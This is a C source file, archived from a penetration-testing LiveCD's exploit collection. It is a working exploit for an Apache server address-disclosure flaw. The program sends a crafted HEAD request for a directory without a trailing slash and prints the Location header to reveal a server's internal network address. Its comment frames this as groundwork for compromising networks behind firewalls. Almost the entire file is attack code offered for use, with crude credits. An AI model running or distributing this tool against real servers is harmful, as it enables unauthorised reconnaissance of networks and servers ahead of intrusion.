home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / disclose.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  114 lines

  1. /* Exploit for the Apache Server Address Disclosure Vulnerability
  2. **
  3. ** by: magnum
  4. **     magnum@fuckthat.org
  5. **     http://fuckthat.org
  6. **
  7. ** [explanation taken from from http://securityfocus.com/vdb/?id=3169]
  8. **
  9. ** A vulnerability has been discovered in Apache web server that may
  10. ** result in the disclosure of the server's address.
  11. **
  12. ** The problem occurs when a HTTP request containing the URI of a directory
  13. ** is submitted to the server. If the URI does not contain a trailing '/' 
  14. ** character, the server returns a 3xx redirection error code indicating that
  15. ** further action must be taken in order to fulfill the request. When this 
  16. ** occurs, a 'Location' response-header containing the address of the server
  17. ** is returned as part of the response.
  18. **
  19. ** In a situation where the request is redirected to the server behind a 
  20. ** firewall, this could lead to the disclosure of the server's internal 
  21. ** network address.
  22. **
  23. ** --SNIP--
  24. **
  25. ** As it was put so well in that explanation, an attacker could exploit this
  26. ** vulnerability to gain important information that could help you or an 
  27. ** attacker to eventually compromise a network or server that resides behind
  28. ** an ipchains/NAT firewall, routing firewall, or many other different kinds
  29. ** of bastion hosts.
  30. **
  31. ** Enjoy :)
  32. ** 
  33. */
  34.  
  35. #include <stdio.h>
  36. #include <stdlib.h>
  37. #include <errno.h>
  38. #include <netdb.h>
  39. #include <sys/types.h>
  40. #include <netinet/in.h>
  41. #include <sys/socket.h>
  42. #include <unistd.h>
  43. #include <string.h>
  44. #include <arpa/inet.h>
  45. #include <sys/time.h>
  46. #define ERROR -1 
  47. #define MAXLEN 400 
  48. main(int argc, char *argv[])
  49. {
  50. int sock_fd;
  51. struct sockaddr_in dest_addr;
  52. struct hostent *he;
  53. char buf[1024];
  54. char request[1024];
  55. char *p;
  56. int i;
  57. int jackmove;
  58.  
  59. if (argc != 4) {
  60. printf("Usage: %s <hostname> <port> <directory>\n",argv[0]);
  61. printf("Example(verbose): %s www.linux.org 80 /info\n",argv[0]);
  62. printf("Example(specify): %s www.linux.org 80 /info | grep Location\n",argv[0]);
  63. printf("Example(output) : Location: http://127.0.0.3/supersecretshit/\n");
  64. exit(1);
  65. }
  66.  
  67. if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */
  68. printf("Unknown host.\n");
  69. exit(1);
  70. }
  71.  
  72. dest_addr.sin_family = AF_INET;
  73. i = atoi(argv[2]);
  74. dest_addr.sin_port = htons(i);
  75. dest_addr.sin_addr = *((struct in_addr *)he->h_addr);
  76. bzero(&(dest_addr.sin_zero), 8);
  77.  
  78. /* heh, sorry, no error checking */
  79. if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  80. printf("Cannot open socket.\n");
  81. exit(1);
  82. }
  83.  
  84. if(connect(sock_fd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1) {
  85. printf("Could not connect to socket.\n");
  86. exit(1);
  87. }
  88.  
  89. printf("Disclose - Exploit for the Apache Server Address Disclosure Vulnerability\n");
  90. printf("by: magnum - magnum@fuckthat.org - http://www.fuckthat.org\n\n");
  91. strcat(request,"HEAD ");
  92. strcat(request,argv[3]);
  93. strcat(request," HTTP/1.0\n\n\n");
  94. sleep(1);
  95. send(sock_fd, request, strlen(request), 0);
  96. printf("Status: ");
  97. if((jackmove=recv(sock_fd, buf, MAXLEN, 0)) == ERROR) {
  98.      printf("recv error\n");
  99.         close(sock_fd);
  100.     exit(1);
  101. }
  102.  
  103. printf("Done.\n");
  104. buf[jackmove] = '\0';
  105. p=strstr(buf, "Location");
  106. printf("%s\n", p);
  107.  
  108. close(sock_fd);
  109. exit(0);
  110. }
  111.  
  112.  
  113.  
  114.